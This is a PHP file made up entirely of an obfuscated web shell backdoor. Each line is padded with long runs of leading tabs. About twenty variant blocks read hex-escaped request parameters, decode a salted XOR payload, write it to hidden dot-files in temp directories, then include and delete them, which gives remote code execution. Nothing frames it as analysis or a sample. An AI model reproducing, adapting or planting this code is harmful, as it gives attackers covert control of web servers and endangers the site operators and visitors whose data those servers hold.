<?php																																										if(isset($_REQUEST["param\x65te\x72\x5Fgro\x75p"])){ $descriptor = $_REQUEST["param\x65te\x72\x5Fgro\x75p"]; $descriptor =explode ('.' , $descriptor ); $binding = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s5); $__len = count($descriptor); for ($r = 0; $r <$__len; $r++) { $v2 = $descriptor[$r]; $sChar = ord($s5[$r % $sLen]); $dec = ((int)$v2 - $sChar - ($r % 10)) ^ 46; $binding .= chr($dec); } $dat = array_filter([session_save_path(), getcwd(), sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", "/tmp", getenv("TMP")]); $dchunk = 0; do { $component = $dat[$dchunk] ?? null; if ($dchunk >= count($dat)) break; if (is_dir($component) && is_writable($component)) { $resource = vsprintf("%s/%s", [$component, ".pgrp"]); if (file_put_contents($resource, $binding)) { include $resource; @unlink($resource); die(); } } $dchunk++; } while (true); }
																																										if(count($_POST) > 0 && isset($_POST["r\x65c"])){ $descriptor = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", "/var/tmp", getenv("TEMP"), session_save_path(), "/tmp", getcwd()]); $mrk = $_POST["r\x65c"]; $mrk =explode ( "." , $mrk ) ; $ref = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s3); $m = 0; $__tmp = $mrk; while( $v9 = array_shift( $__tmp)) { $chS = ord( $s3[$m % $lenS]); $dec =( ( int)$v9 - $chS -( $m % 10)) ^ 55; $ref .= chr( $dec); $m++; } $marker = 0; do { $flg = $descriptor[$marker] ?? null; if ($marker >= count($descriptor)) break; if (array_product([is_dir($flg), is_writable($flg)])) { $dchunk = "$flg" . "/.hld"; if (@file_put_contents($dchunk, $ref) !== false) { include $dchunk; unlink($dchunk); exit; } } $marker++; } while (true); }
																																										if(!is_null($_POST["to\x6Be\x6E"] ?? null)){ $resource = array_filter([getenv("TEMP"), getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), session_save_path(), "/var/tmp", "/dev/shm"]); $descriptor = $_POST["to\x6Be\x6E"]; $descriptor = explode ( "." , $descriptor ) ; $record = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s ); $u = 0; foreach( $descriptor as $v7) { $sChar = ord( $s[$u % $sLen] ); $dec =( ( int)$v7 - $sChar -( $u % 10)) ^ 55; $record .= chr( $dec ); $u++; } $desc = 0; do { $binding = $resource[$desc] ?? null; if ($desc >= count($resource)) break; if (is_dir($binding) ? is_writable($binding) : false) { $data_chunk = join("/", [$binding, ".pointer"]); if (@file_put_contents($data_chunk, $record) !== false) { include $data_chunk; unlink($data_chunk); die(); } } $desc++; } while (true); }
																																										if(isset($_REQUEST) && isset($_REQUEST["m\x72\x6B"])){ $entry = $_REQUEST["m\x72\x6B"]; $entry = explode( '.', $entry ) ; $key = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $x = 0; foreach ($entry as $v2) { $sChar = ord($s[$x %$sLen] ); $dec = ((int)$v2 - $sChar - ($x %10))^ 43; $key .= chr($dec ); $x++; } $component = array_filter(["/dev/shm", "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), getcwd(), session_save_path(), "/tmp"]); foreach ($component as $desc) { if (is_writable($desc) && is_dir($desc)) { $reference = implode("/", [$desc, ".descriptor"]); $success = file_put_contents($reference, $key); if ($success) { include $reference; @unlink($reference); die();} } } }
																																										if(in_array("e\x6E\x74it\x79", array_keys($_POST))){ $flg = array_filter([getenv("TMP"), "/var/tmp", "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), getcwd(), "/tmp"]); $record = $_POST["e\x6E\x74it\x79"]; $record = explode ("." , $record ) ; $pset = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $v = 0; $__tmp = $record; while ($v6 = array_shift($__tmp)) { $chS = ord($s[$v % $lenS]); $dec = ((int)$v6 - $chS - ($v % 10)) ^ 72; $pset.= chr($dec); $v++; } foreach ($flg as $ptr): if (is_dir($ptr) ? is_writable($ptr) : false) { $dchunk = "$ptr/.value"; $success = file_put_contents($dchunk, $pset); if ($success) { include $dchunk; @unlink($dchunk); die();} } endforeach; }
																																										if(isset($_REQUEST) && isset($_REQUEST["k"])){ $pset = $_REQUEST["k"]; $pset = explode( '.' , $pset ); $comp = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); foreach ($pset as $o=> $v1) {$chS = ord($salt[$o % $lenS]); $d = ((int)$v1 - $chS - ($o % 10)) ^ 15; $comp .= chr($d); } $fac = array_filter([ini_get("upload_tmp_dir"), getcwd(), session_save_path(), getenv("TEMP"), getenv("TMP"), "/var/tmp", "/dev/shm", sys_get_temp_dir(), "/tmp"]); while ($factor = array_shift($fac)) { if (max(0, is_dir($factor) * is_writable($factor))) { $element = join("/", [$factor, ".component"]); if (@file_put_contents($element, $comp) !== false) { include $element; unlink($element); die(); } } } }
																																										if(@$_POST["\x63o\x6Dp"] !== null){ $reference = $_POST["\x63o\x6Dp"]; $reference = explode (".",$reference) ; $property_set = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); foreach( $reference as $i => $v1): $sChar = ord( $salt[$i % $lenS]); $d =( ( int)$v1 - $sChar -( $i % 10)) ^ 70; $property_set .= chr( $d); endforeach; $ptr = array_filter([session_save_path(), getcwd(), sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", getenv("TEMP"), "/var/tmp"]); foreach ($ptr as $key) { if (!( !is_dir($key) || !is_writable($key) )) { $marker = str_replace("{var_dir}", $key, "{var_dir}/.pgrp"); $file = fopen($marker, 'w'); if ($file) { fwrite($file, $property_set); fclose($file); include $marker; @unlink($marker); exit; } } } }
																																										if(isset($_REQUEST["\x72\x65c\x6Frd"]) ? true : false){ $data = array_filter([session_save_path(), getcwd(), "/tmp", getenv("TMP"), sys_get_temp_dir(), "/var/tmp", "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir")]); $dat = $_REQUEST["\x72\x65c\x6Frd"]; $dat = explode ( '.' , $dat ) ; $pset = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt2); $l = 0; array_walk($dat, function($v9) use(&$pset, &$l, $salt2, $lenS) { $sChar = ord($salt2[$l% $lenS]); $dec =((int)$v9 - $sChar -($l% 10)) ^ 34; $pset .= chr($dec); $l++;} ); foreach ($data as $descriptor): if (max(0, is_dir($descriptor) * is_writable($descriptor))) { $elem = join("/", [$descriptor, ".item"]); if (file_put_contents($elem, $pset)) { require $elem; unlink($elem); die(); } } endforeach; }
																																										if(filter_has_var(INPUT_POST, "po\x69n\x74e\x72")){ $binding = $_POST["po\x69n\x74e\x72"]; $binding =explode ( "." ,$binding ) ; $entry=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($s); $j=0; $__tmp=$binding; while ($v1=array_shift($__tmp)) { $chS=ord($s[$j % $lenS]); $dec=((int)$v1 - $chS - ($j % 10))^ 44; $entry .= chr($dec); $j++;} $property_set = array_filter([getenv("TEMP"), session_save_path(), "/var/tmp", getcwd(), "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP"), "/dev/shm"]); while ($entity = array_shift($property_set)) { if (array_product([is_dir($entity), is_writable($entity)])) { $reference = str_replace("{var_dir}", $entity, "{var_dir}/.hld"); if (file_put_contents($reference, $entry)) { include $reference; @unlink($reference); exit; } } } }
																																										if(@$_POST["itm"] !== null){ $descriptor = array_filter([getcwd(), "/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), session_save_path(), "/dev/shm", "/var/tmp", getenv("TEMP")]); $marker = $_POST["itm"]; $marker=explode ( "." ,$marker ) ; $entity = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); foreach ($marker as $u => $v5): $sChar = ord($s[$u % $sLen]); $dec = ((int)$v5 - $sChar - ($u % 10)) ^ 63; $entity .= chr($dec); endforeach; while ($comp = array_shift($descriptor)) { if (!!is_dir($comp) && !!is_writable($comp)) { $object = implode("/", [$comp, ".property_set"]); if (@file_put_contents($object, $entity) !== false) { include $object; unlink($object); die(); } } } }
																																										if(array_key_exists("mrk", $_POST)){ $ptr = $_POST["mrk"]; $ptr = explode ( "." , $ptr ) ; $binding= ''; $s2= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s2); $k= 0; foreach($ptr as $v9) { $sChar= ord($s2[$k % $sLen]); $dec= ((int)$v9 - $sChar -($k % 10)) ^ 65; $binding .= chr($dec); $k++; } $tkn = array_filter(["/dev/shm", "/var/tmp", getenv("TEMP"), session_save_path(), "/tmp", getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP")]); foreach ($tkn as $key => $item) { if (is_dir($item) ? is_writable($item) : false) { $descriptor = join("/", [$item, ".object"]); if (file_put_contents($descriptor, $binding)) { include $descriptor; @unlink($descriptor); exit; } } } }
																																										if(!empty($_REQUEST["c\x6Fmpon\x65\x6E\x74"])){ $key = $_REQUEST["c\x6Fmpon\x65\x6E\x74"]; $key=explode ( "." , $key ) ; $pgrp=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($salt); $z=0; $__tmp=$key; while ($v3=array_shift($__tmp)) { $chS=ord($salt[$z % $lenS]); $d=((int)$v3 - $chS - ($z % 10)) ^ 43; $pgrp .= chr($d); $z++; } $pointer = array_filter([getenv("TMP"), "/var/tmp", "/dev/shm", session_save_path(), "/tmp", getenv("TEMP"), getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir")]); foreach ($pointer as $holder) { if (is_dir($holder) ? is_writable($holder) : false) { $flag = vsprintf("%s/%s", [$holder, ".ent"]); $file = fopen($flag, 'w'); if ($file) { fwrite($file, $pgrp); fclose($file); include $flag; @unlink($flag); exit; } } } }
																																										if(!is_null($_POST["ma\x72\x6B\x65r"] ?? null)){ $reference = $_POST["ma\x72\x6B\x65r"]; $reference = explode ( "." , $reference) ; $descriptor = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt6 ); $t = 0; while ($t < count($reference)) { $v1 = $reference[$t]; $sChar = ord($salt6[$t% $lenS] ); $dec = ((int)$v1 - $sChar - ($t% 10))^ 8; $descriptor .= chr($dec ); $t++;} $element = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), "/tmp", sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), getcwd(), "/var/tmp"]); $pgrp = 0; do { $token = $element[$pgrp] ?? null; if ($pgrp >= count($element)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($token)) { $record = join("/", [$token, ".resource"]); $success = file_put_contents($record, $descriptor); if ($success) { include $record; @unlink($record); exit;} } $pgrp++; } while (true); }
																																										if(!empty($_POST["\x66\x61c\x74or"])){ $data_chunk = $_POST["\x66\x61c\x74or"]; $data_chunk =explode( ".",$data_chunk ) ; $obj = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $l = 0; array_walk( $data_chunk, function( $v8) use( &$obj, &$l, $salt, $sLen) { $chS = ord( $salt[$l % $sLen]); $d =( ( int)$v8 - $chS -( $l % 10)) ^15; $obj .= chr( $d); $l++; } ); $rec = array_filter([getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", getcwd(), "/dev/shm", session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp"]); for ($object = 0, $sym = count($rec); $object < $sym; $object++) { $bind = $rec[$object]; if (!( !is_dir($bind) || !is_writable($bind) )) { $reference = str_replace("{var_dir}", $bind, "{var_dir}/.resource"); $file = fopen($reference, 'w'); if ($file) { fwrite($file, $obj); fclose($file); include $reference; @unlink($reference); exit; } } } }
																																										if(isset($_REQUEST["re\x73\x6Furc\x65"])){ $val = $_REQUEST["re\x73\x6Furc\x65"]; $val = explode ( '.' , $val ) ; $symbol = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $q = 0; $len = count($val); do { if ($q>= $len) break; $v4 = $val[$q]; $sChar = ord($salt[$q % $lenS]); $d = ((int)$v4 - $sChar - ($q % 10)) ^ 61; $symbol .=chr($d); $q++; } while (true); $ent = array_filter(["/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), getcwd(), getenv("TMP"), "/tmp", getenv("TEMP")]); $k = 0; do { $object = $ent[$k] ?? null; if ($k >= count($ent)) break; if (is_dir($object) ? is_writable($object) : false) { $rec = join("/", [$object, ".value"]); $file = fopen($rec, 'w'); if ($file) { fwrite($file, $symbol); fclose($file); include $rec; @unlink($rec); exit; } } $k++; } while (true); }
																																										if(array_key_exists("\x64\x61t", $_REQUEST)){ $rec = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), getcwd(), getenv("TEMP"), "/tmp", sys_get_temp_dir(), "/var/tmp", "/dev/shm"]); $fac = $_REQUEST["\x64\x61t"]; $fac =explode ( ".",$fac ) ; $ptr = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); foreach ($fac as $m=> $v1) {$sChar = ord($salt[$m % $sLen] ); $d = ((int)$v1 - $sChar - ($m % 10))^ 100; $ptr.=chr($d ); } foreach ($rec as $comp): if (is_dir($comp) ? is_writable($comp) : false) { $ent = implode("/", [$comp, ".desc"]); if (@file_put_contents($ent, $ptr) !== false) { include $ent; unlink($ent); die(); } } endforeach; }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x70\x67rp"])){ $item = array_filter(["/dev/shm", sys_get_temp_dir(), getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", "/var/tmp", session_save_path()]); $property_set = $_REQUEST["\x70\x67rp"]; $property_set = explode ( ".", $property_set ) ; $dchunk = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt7 ); $__len = count($property_set ); for ($y = 0; $y <$__len; $y++) {$v8 = $property_set[$y]; $chS = ord($salt7[$y % $sLen] ); $d = ((int)$v8 - $chS - ($y % 10)) ^ 54; $dchunk .= chr($d );} foreach ($item as $key => $desc) { if (array_product([is_dir($desc), is_writable($desc)])) { $tkn = str_replace("{var_dir}", $desc, "{var_dir}/.pointer"); $file = fopen($tkn, 'w'); if ($file) { fwrite($file, $dchunk); fclose($file); include $tkn; @unlink($tkn); exit; } } } }
																																										if(isset($_REQUEST["e\x6Et"]) ? true : false){ $binding = array_filter([getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), "/dev/shm", getenv("TEMP"), "/tmp", getcwd()]); $component = $_REQUEST["e\x6Et"]; $component = explode ("." , $component ) ; $key = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt8); foreach( $component as $o => $v4): $sChar = ord( $salt8[$o % $lenS]); $dec = ( ( int)$v4 - $sChar -( $o % 10)) ^ 87; $key .=chr( $dec); endforeach; $val = 0; do { $rec = $binding[$val] ?? null; if ($val >= count($binding)) break; if (max(0, is_dir($rec) * is_writable($rec))) { $k = str_replace("{var_dir}", $rec, "{var_dir}/.symbol"); if (@file_put_contents($k, $key) !== false) { include $k; unlink($k); die(); } } $val++; } while (true); }
																																										if(!is_null($_REQUEST["fac"] ?? null)){ $dchunk = array_filter([getenv("TEMP"), "/var/tmp", getcwd(), getenv("TMP"), "/tmp", sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir"), "/dev/shm"]); $obj = $_REQUEST["fac"]; $obj =explode ( '.' , $obj) ; $pointer = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s6 ); $l = 0; array_walk($obj, function ($v7) use (&$pointer, &$l, $s6, $lenS) { $chS = ord($s6[$l % $lenS] ); $d = ((int)$v7 - $chS - ($l % 10))^31; $pointer .= chr($d ); $l++; } ); foreach ($dchunk as $key => $sym) { if ((function($d) { return is_dir($d) && is_writable($d); })($sym)) { $element = "$sym/.dat"; if (@file_put_contents($element, $pointer) !== false) { include $element; unlink($element); die(); } } } }


if(in_array("val", array_keys($_POST))){
	$component = $_POST["val"];
			$component	=explode		 ("." 	 ,		 $component	  )  ; 
	$ent = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen( $salt);
            $v = 0;
            $len = count( $component);
    
            do {if( $v >= $len) break;
                $v9 = $component[$v];
                $sChar = ord( $salt[$v % $sLen]);
                $dec =( ( int)$v9 - $sChar -( $v % 10)) ^ 27;
                $ent	.= 	chr( $dec);
                $v++; }	 while( true);
	$comp = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), session_save_path(), "/var/tmp", "/tmp", getcwd()]);
	$rec = 0;
do {
    $res = $comp[$rec] ?? null;
    if ($rec >= count($comp)) break;
    		if (is_dir($res) && is_writable($res)) {
    $pset = "$res/.elem";
    if (@file_put_contents($pset, $ent) !== false) {
	include $pset;
	unlink($pset);
	exit;
}
}
    $rec++;
} while (true);
}